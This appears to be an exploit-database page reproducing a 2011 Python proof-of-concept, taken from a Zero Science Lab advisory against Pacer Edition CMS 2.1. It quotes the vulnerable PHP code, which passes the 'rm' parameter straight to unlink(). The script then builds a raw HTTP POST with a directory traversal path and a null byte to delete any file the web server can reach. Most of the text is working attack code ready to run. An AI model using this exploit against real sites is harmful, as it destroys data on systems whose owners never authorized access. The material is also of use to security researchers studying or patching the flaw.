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Pacer Edition CMS 2.1 (rm) Remote Arbitrary File Deletion Exploit
<html><body><p>#!/usr/bin/python
#
#
# Pacer Edition CMS 2.1 (rm) Remote Arbitrary File Deletion Exploit
#
#
# Vendor: The Pacer Edition
# Product web page: http://www.thepaceredition.com
# Affected version: RC 2.1 (SVN: 867)
#
# Summary: The 'Pacer Edition' is a Content Management System(CMS)
# written using PHP 5.2.9 as a minimum requirement. The Pacer Edition
# CMS was based from Website baker core and has been completely
# redesigned with a whole new look and feel along with many new
# advanced features to allow you to build sites exactly how you want
# and make them, 100% yours!
#
# Desc: Input passed to the 'rm' parameter in modules/code/syntax_check.php
# is not properly sanitised before being used to delete files. This can
# be exploited to delete files with the permissions of the web server via
# directory traversal sequences passed within the 'rm' parameter.
#
#
# /modules/code/syntax_check.php (line: 99-102):
# ----------------------------------------------------------
#
# if (isset($_REQUEST['rm'])) {
# @unlink($_REQUEST['rm']);
# die();
# }
#
# ----------------------------------------------------------
#
#
# Tested on: Microsoft Windows XP Professional SP3 (EN)
# Apache 2.2.14 (Win32)
# PHP 5.3.1
# MySQL 5.1.41
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
# Zero Science Lab
#
#
# Advisory ID: ZSL-2011-5017
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5017.php
#
#
#
# 07.06.2011
#
import socket
import sys
print '\n-------------------------------------------------------------------'
print '\n Pacer Edition CMS 2.1 (rm) Remote Arbitrary File Deletion Exploit'
print '\n-------------------------------------------------------------------\n'
if len(sys.argv) < 4:
print '\nUsage: ' + sys.argv[0] + ' <target> <port> <file>\n'
print 'Example: ' + sys.argv[0] + ' 192.168.16.101 80 naked.jpg\n'
sys.exit(0)
host = sys.argv[1]
port = int(sys.argv[2])
file = sys.argv[3]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(10)
answ = s.recv(1024)
s.send('POST /modules/code/syntax_check.php?rm=..%2f..%2f..%2f..%2f..%2f..%2f' + file + '%00 HTTP/1.1\r\n'
'Host: ' + host + '\r\n'
'Connection: keep-alive\r\n'
'Content-Length: 0\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'User-Agent: thricer\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'\r\n\r\n')
htcode = 'HTTP/1.1 200'
if htcode not in answ[:len(htcode)]:
print '- Error deleting file!\n'
sys.exit(0)
else: print '+ File ' + file + 'deleted!\n'
s.close
</file></port></target></p></body></html>Data
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09 Jun 2011 00:00Current
5.7Medium risk
Vulners AI Score5.7